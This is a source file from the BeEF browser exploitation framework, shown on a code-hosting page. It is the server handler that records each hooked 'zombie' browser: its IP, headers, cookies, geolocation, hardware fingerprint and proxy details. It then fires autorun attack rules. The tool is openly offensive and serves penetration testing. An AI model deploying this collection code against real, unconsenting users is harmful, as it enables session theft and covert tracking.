Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/handlers/browserdetails.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
module BeEF
7
module Core
8
module Handlers
9
# @note Retrieves information about the browser (type, version, plugins etc.)
10
class BrowserDetails
11
@data = {}
12
13
HB = BeEF::Core::Models::HookedBrowser
14
BD = BeEF::Core::Models::BrowserDetails
15
16
def initialize(data)
17
@data = data
18
setup
19
end
20
21
def err_msg(error)
22
print_error "[Browser Details] #{error}"
23
end
24
25
def setup
26
print_debug '[INIT] Processing Browser Details...'
27
config = BeEF::Core::Configuration.instance
28
29
# validate hook session value
30
session_id = get_param(@data, 'beefhook')
31
32
print_debug "[INIT] Processing Browser Details for session #{session_id}"
33
unless BeEF::Filters.is_valid_hook_session_id?(session_id)
34
err_msg 'session id is invalid'
35
return
36
end
37
38
hooked_browser = HB.where(session: session_id).first
39
return unless hooked_browser.nil? # browser is already registered with framework
40
41
# create the structure representing the hooked browser
42
zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id)
43
zombie.firstseen = Time.new.to_i
44
45
# hooked window host name
46
log_zombie_port = 0
47
if !@data['results']['browser.window.hostname'].nil?
48
log_zombie_domain = @data['results']['browser.window.hostname']
49
elsif !@data['request'].referer.nil? and !@data['request'].referer.empty?
50
referer = @data['request'].referer
51
log_zombie_port = if referer.start_with?('https://')
52
443
53
else
54
80
55
end
56
log_zombie_domain = referer.gsub('http://', '').gsub('https://', '').split('/')[0]
57
else
58
log_zombie_domain = 'unknown' # Probably local file open
59
end
60
61
# hooked window host port
62
if @data['results']['browser.window.hostport'].nil?
63
log_zombie_domain_parts = log_zombie_domain.split(':')
64
log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1
65
else
66
log_zombie_port = @data['results']['browser.window.hostport']
67
end
68
69
zombie.domain = log_zombie_domain
70
zombie.port = log_zombie_port
71
72
# Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
73
@http_headers = {}
74
http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }
75
.each do |key, value|
76
@http_headers[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8')
77
end
78
zombie.httpheaders = @http_headers.to_json
79
zombie.save!
80
# print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
81
82
# add a log entry for the newly hooked browser
83
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port}", zombie.id.to_s)
84
85
# get and store browser name
86
browser_name = get_param(@data['results'], 'browser.name')
87
if BeEF::Filters.is_valid_browsername?(browser_name)
88
BD.set(session_id, 'browser.name', browser_name)
89
90
# lookup and store browser friendly name
91
browser_friendly_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
92
BD.set(session_id, 'browser.name.friendly', browser_friendly_name)
93
else
94
err_msg "Invalid browser name returned from the hook browser's initial connection."
95
end
96
97
if BeEF::Filters.is_valid_ip?(zombie.ip)
98
BD.set(session_id, 'network.ipaddress', zombie.ip)
99
else
100
err_msg "Invalid IP address returned from the hook browser's initial connection."
101
end
102
103
# lookup zombie host name
104
if config.get('beef.dns_hostname_lookup')
105
begin
106
host_name = Resolv.getname(zombie.ip).to_s
107
BD.set(session_id, 'host.name', host_name) if BeEF::Filters.is_valid_hostname?(host_name)
108
rescue StandardError
109
print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'"
110
end
111
end
112
113
# geolocation
114
BD.set(session_id, 'location.city', 'Unknown')
115
BD.set(session_id, 'location.country', 'Unknown')
116
if BeEF::Core::GeoIp.instance.enabled?
117
geoip = BeEF::Core::GeoIp.instance.lookup(zombie.ip)
118
if geoip.nil?
119
print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'"
120
else
121
# print_debug "[INIT] Geolocation results: #{geoip}"
122
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", zombie.id.to_s)
123
BD.set(
124
session_id,
125
'location.city',
126
(begin
127
geoip['city']['names']['en']
128
rescue StandardError
129
'Unknown'
130
end).to_s
131
)
132
BD.set(
133
session_id,
134
'location.country',
135
(begin
136
geoip['country']['names']['en']
137
rescue StandardError
138
'Unknown'
139
end).to_s
140
)
141
BD.set(
142
session_id,
143
'location.country.isocode',
144
(begin
145
geoip['country']['iso_code']
146
rescue StandardError
147
'Unknown'
148
end).to_s
149
)
150
BD.set(
151
session_id,
152
'location.country.registered_country',
153
(begin
154
geoip['registered_country']['names']['en']
155
rescue StandardError
156
'Unknown'
157
end).to_s
158
)
159
BD.set(
160
session_id,
161
'location.country.registered_country.isocode',
162
(begin
163
geoip['registered_country']['iso_code']
164
rescue StandardError
165
'Unknown'
166
end).to_s
167
)
168
BD.set(
169
session_id,
170
'location.continent',
171
(begin
172
geoip['continent']['names']['en']
173
rescue StandardError
174
'Unknown'
175
end).to_s
176
)
177
BD.set(
178
session_id,
179
'location.continent.code',
180
(begin
181
geoip['continent']['code']
182
rescue StandardError
183
'Unknown'
184
end).to_s
185
)
186
BD.set(
187
session_id,
188
'location.latitude',
189
(begin
190
geoip['location']['latitude']
191
rescue StandardError
192
'Unknown'
193
end).to_s
194
)
195
BD.set(
196
session_id,
197
'location.longitude',
198
(begin
199
geoip['location']['longitude']
200
rescue StandardError
201
'Unknown'
202
end).to_s
203
)
204
BD.set(
205
session_id,
206
'location.timezone',
207
(begin
208
geoip['location']['time_zone']
209
rescue StandardError
210
'Unknown'
211
end).to_s
212
)
213
end
214
end
215
216
# detect browser proxy
217
using_proxy = false
218
%w[
219
CLIENT_IP
220
FORWARDED_FOR
221
FORWARDED
222
FORWARDED_FOR_IP
223
PROXY_CONNECTION
224
PROXY_AUTHENTICATE
225
X_FORWARDED
226
X_FORWARDED_FOR
227
VIA
228
].each do |header|
229
unless JSON.parse(zombie.httpheaders)[header].nil?
230
using_proxy = true
231
break
232
end
233
end
234
235
# retrieve proxy client IP
236
proxy_clients = []
237
%w[
238
CLIENT_IP
239
FORWARDED_FOR
240
FORWARDED
241
FORWARDED_FOR_IP
242
X_FORWARDED
243
X_FORWARDED_FOR
244
].each do |header|
245
proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil?
246
end
247
248
# retrieve proxy server
249
proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?
250
251
# store and log proxy details
252
if using_proxy == true
253
BD.set(session_id, 'network.proxy', 'Yes')
254
proxy_log_string = "#{zombie.ip} is using a proxy"
255
unless proxy_clients.empty?
256
BD.set(session_id, 'network.proxy.client', proxy_clients.sort.uniq.join(',').to_s)
257
proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]"
258
end
259
unless proxy_server.nil?
260
BD.set(session_id, 'network.proxy.server', proxy_server.to_s)
261
proxy_log_string += " [server: #{proxy_server}]"
262
if config.get('beef.extension.network.enable') == true && (proxy_server =~ /^([\d.]+):(\d+)$/)
263
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{Regexp.last_match(1)}]")
264
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: Regexp.last_match(1), type: 'Proxy')
265
end
266
end
267
BeEF::Core::Logger.instance.register('Zombie', proxy_log_string.to_s, zombie.id.to_s)
268
end
269
270
# get and store browser version
271
browser_version = get_param(@data['results'], 'browser.version')
272
if BeEF::Filters.is_valid_browserversion?(browser_version)
273
BD.set(session_id, 'browser.version', browser_version)
274
else
275
err_msg "Invalid browser version returned from the hook browser's initial connection."
276
end
277
278
# get and store browser string
279
browser_string = get_param(@data['results'], 'browser.name.reported')
280
if BeEF::Filters.is_valid_browserstring?(browser_string)
281
BD.set(session_id, 'browser.name.reported', browser_string)
282
else
283
err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection."
284
end
285
286
# get and store browser engine
287
browser_engine = get_param(@data['results'], 'browser.engine')
288
if BeEF::Filters.is_valid_browserstring?(browser_engine)
289
BD.set(session_id, 'browser.engine', browser_engine)
290
else
291
err_msg "Invalid value for 'browser.engine' returned from the hook browser's initial connection."
292
end
293
294
# get and store browser language
295
browser_lang = get_param(@data['results'], 'browser.language')
296
BD.set(session_id, 'browser.language', browser_lang)
297
298
# get and store the cookies
299
cookies = get_param(@data['results'], 'browser.window.cookies')
300
if BeEF::Filters.is_valid_cookies?(cookies)
301
BD.set(session_id, 'browser.window.cookies', cookies)
302
else
303
err_msg "Invalid cookies returned from the hook browser's initial connection."
304
end
305
306
# get and store the OS name
307
os_name = get_param(@data['results'], 'host.os.name')
308
if BeEF::Filters.is_valid_osname?(os_name)
309
BD.set(session_id, 'host.os.name', os_name)
310
else
311
err_msg "Invalid operating system name returned from the hook browser's initial connection."
312
end
313
314
# get and store the OS family
315
os_family = get_param(@data['results'], 'host.os.family')
316
if BeEF::Filters.is_valid_osname?(os_family)
317
BD.set(session_id, 'host.os.family', os_family)
318
else
319
err_msg "Invalid value for 'host.os.family' returned from the hook browser's initial connection."
320
end
321
322
# get and store the OS version
323
# - without checks as it can be very different, for instance on linux/bsd)
324
os_version = get_param(@data['results'], 'host.os.version')
325
BD.set(session_id, 'host.os.version', os_version)
326
327
# get and store the OS arch - without checks
328
os_arch = get_param(@data['results'], 'host.os.arch')
329
BD.set(session_id, 'host.os.arch', os_arch)
330
331
# get and store default browser
332
default_browser = get_param(@data['results'], 'host.software.defaultbrowser')
333
BD.set(session_id, 'host.software.defaultbrowser', default_browser)
334
335
# get and store the hardware type
336
hw_type = get_param(@data['results'], 'hardware.type')
337
if BeEF::Filters.is_valid_hwname?(hw_type)
338
BD.set(session_id, 'hardware.type', hw_type)
339
else
340
err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection."
341
end
342
343
# get and store the date
344
date_stamp = get_param(@data['results'], 'browser.date.datestamp')
345
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
346
BD.set(session_id, 'browser.date.datestamp', date_stamp)
347
else
348
err_msg "Invalid date returned from the hook browser's initial connection."
349
end
350
351
# get and store page title
352
page_title = get_param(@data['results'], 'browser.window.title')
353
if BeEF::Filters.is_valid_pagetitle?(page_title)
354
BD.set(session_id, 'browser.window.title', page_title)
355
else
356
err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection."
357
end
358
359
# get and store page origin
360
origin = get_param(@data['results'], 'browser.window.origin')
361
if BeEF::Filters.is_valid_url?(origin)
362
BD.set(session_id, 'browser.window.origin', origin)
363
else
364
err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
365
end
366
367
# get and store page uri
368
page_uri = get_param(@data['results'], 'browser.window.uri')
369
if BeEF::Filters.is_valid_url?(page_uri)
370
BD.set(session_id, 'browser.window.uri', page_uri)
371
else
372
err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
373
end
374
375
# get and store the page referrer
376
page_referrer = get_param(@data['results'], 'browser.window.referrer')
377
if BeEF::Filters.is_valid_pagereferrer?(page_referrer)
378
BD.set(session_id, 'browser.window.referrer', page_referrer)
379
else
380
err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection."
381
end
382
383
# get and store hooked window host port
384
host_name = get_param(@data['results'], 'browser.window.hostname')
385
if BeEF::Filters.is_valid_hostname?(host_name)
386
BD.set(session_id, 'browser.window.hostname', host_name)
387
else
388
err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection."
389
end
390
391
# get and store hooked window host port
392
host_port = get_param(@data['results'], 'browser.window.hostport')
393
if BeEF::Filters.is_valid_port?(host_port)
394
BD.set(session_id, 'browser.window.hostport', host_port)
395
else
396
err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection."
397
end
398
399
# get and store the browser plugins
400
browser_plugins = get_param(@data['results'], 'browser.plugins')
401
if BeEF::Filters.is_valid_browser_plugins?(browser_plugins)
402
BD.set(session_id, 'browser.plugins', browser_plugins)
403
elsif browser_plugins == "[]"
404
err_msg "No browser plugins detected."
405
else
406
err_msg "Invalid browser plugins returned from the hook browser's initial connection."
407
end
408
409
# get and store the system platform
410
system_platform = get_param(@data['results'], 'browser.platform')
411
if BeEF::Filters.is_valid_system_platform?(system_platform)
412
BD.set(session_id, 'browser.platform', system_platform)
413
else
414
err_msg "Invalid browser platform returned from the hook browser's initial connection."
415
end
416
417
# get and store the zombie screen color depth
418
screen_colordepth = get_param(@data['results'], 'hardware.screen.colordepth')
419
if BeEF::Filters.nums_only?(screen_colordepth)
420
BD.set(session_id, 'hardware.screen.colordepth', screen_colordepth)
421
else
422
err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection."
423
end
424
425
# get and store the zombie screen width
426
screen_size_width = get_param(@data['results'], 'hardware.screen.size.width')
427
if BeEF::Filters.nums_only?(screen_size_width)
428
BD.set(session_id, 'hardware.screen.size.width', screen_size_width)
429
else
430
err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection."
431
end
432
433
# get and store the zombie screen height
434
screen_size_height = get_param(@data['results'], 'hardware.screen.size.height')
435
if BeEF::Filters.nums_only?(screen_size_height)
436
BD.set(session_id, 'hardware.screen.size.height', screen_size_height)
437
else
438
err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection."
439
end
440
441
# get and store the window height
442
window_height = get_param(@data['results'], 'browser.window.size.height')
443
if BeEF::Filters.nums_only?(window_height)
444
BD.set(session_id, 'browser.window.size.height', window_height)
445
else
446
err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection."
447
end
448
449
# get and store the window width
450
window_width = get_param(@data['results'], 'browser.window.size.width')
451
if BeEF::Filters.nums_only?(window_width)
452
BD.set(session_id, 'browser.window.size.width', window_width)
453
else
454
err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection."
455
end
456
457
# store and log IP details of host
458
print_debug("Hooked browser [id:#{zombie.id}] has IP [ip: #{zombie.ip}]")
459
460
if !os_name.nil? and !os_version.nil?
461
BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name + '-' + os_version)
462
elsif !os_name.nil?
463
BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name)
464
else
465
BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host')
466
end
467
468
# get and store the yes|no value for browser capabilities
469
capabilities = [
470
'browser.capabilities.vbscript',
471
# 'browser.capabilities.java',
472
'browser.capabilities.flash',
473
'browser.capabilities.silverlight',
474
'browser.capabilities.phonegap',
475
'browser.capabilities.googlegears',
476
'browser.capabilities.activex',
477
'browser.capabilities.quicktime',
478
'browser.capabilities.realplayer',
479
'browser.capabilities.wmp',
480
'browser.capabilities.vlc',
481
'browser.capabilities.webworker',
482
'browser.capabilities.websocket',
483
'browser.capabilities.webgl',
484
'browser.capabilities.webrtc'
485
]
486
capabilities.each do |k|
487
v = get_param(@data['results'], k)
488
if BeEF::Filters.is_valid_yes_no?(v)
489
BD.set(session_id, k, v)
490
else
491
err_msg "Invalid value for #{k} returned from the hook browser's initial connection."
492
end
493
end
494
495
# get and store the value for hardware.memory
496
memory = get_param(@data['results'], 'hardware.memory')
497
if BeEF::Filters.is_valid_memory?(memory)
498
BD.set(session_id, 'hardware.memory', memory)
499
else
500
err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection."
501
end
502
503
# get and store the value for hardware.gpu
504
gpu = get_param(@data['results'], 'hardware.gpu')
505
if BeEF::Filters.is_valid_gpu?(gpu)
506
BD.set(session_id, 'hardware.gpu', gpu)
507
else
508
err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection."
509
end
510
511
# get and store the value for hardware.gpu.vendor
512
gpu_vendor = get_param(@data['results'], 'hardware.gpu.vendor')
513
if BeEF::Filters.is_valid_gpu?(gpu_vendor)
514
BD.set(session_id, 'hardware.gpu.vendor', gpu_vendor)
515
else
516
err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection."
517
end
518
519
# get and store the value for hardware.cpu.arch
520
cpu_arch = get_param(@data['results'], 'hardware.cpu.arch')
521
if BeEF::Filters.is_valid_cpu?(cpu_arch)
522
BD.set(session_id, 'hardware.cpu.arch', cpu_arch)
523
else
524
err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection."
525
end
526
527
# get and store the value for hardware.cpu.cores
528
cpu_cores = get_param(@data['results'], 'hardware.cpu.cores')
529
if BeEF::Filters.alphanums_only?(cpu_cores)
530
BD.set(session_id, 'hardware.cpu.cores', cpu_cores)
531
else
532
err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection."
533
end
534
535
# get and store the value for hardware.battery.level
536
battery_level = get_param(@data['results'], 'hardware.battery.level')
537
if battery_level == 'unknown' || battery_level =~ /\A[\d.]+%\z/
538
BD.set(session_id, 'hardware.battery.level', battery_level)
539
else
540
err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection."
541
end
542
543
# get and store the value for hardware.screen.touchenabled
544
touch_enabled = get_param(@data['results'], 'hardware.screen.touchenabled')
545
if BeEF::Filters.is_valid_yes_no?(touch_enabled)
546
BD.set(session_id, 'hardware.screen.touchenabled', touch_enabled)
547
else
548
err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection."
549
end
550
551
# log a few info of newly hooked zombie in the console
552
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked origin [#{log_zombie_domain}:#{log_zombie_port}]"
553
554
# add localhost as network host
555
if config.get('beef.extension.network.enable')
556
print_debug('Hooked browser has network interface 127.0.0.1')
557
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: '127.0.0.1', hostname: 'localhost',
558
os: BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name'))
559
end
560
561
# check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel
562
# is WebSockets, then ARe rules are triggered after channel is established.
563
BeEF::Core::AutorunEngine::Engine.instance.find_and_run_all_matching_rules_for_zombie(zombie.id) unless config.get('beef.http.websocket.enable')
564
end
565
566
def get_param(query, key)
567
(query.instance_of?(Hash) and query.has_key?(key)) ? query[key].to_s : nil
568
end
569
end
570
end
571
end
572
end
573
574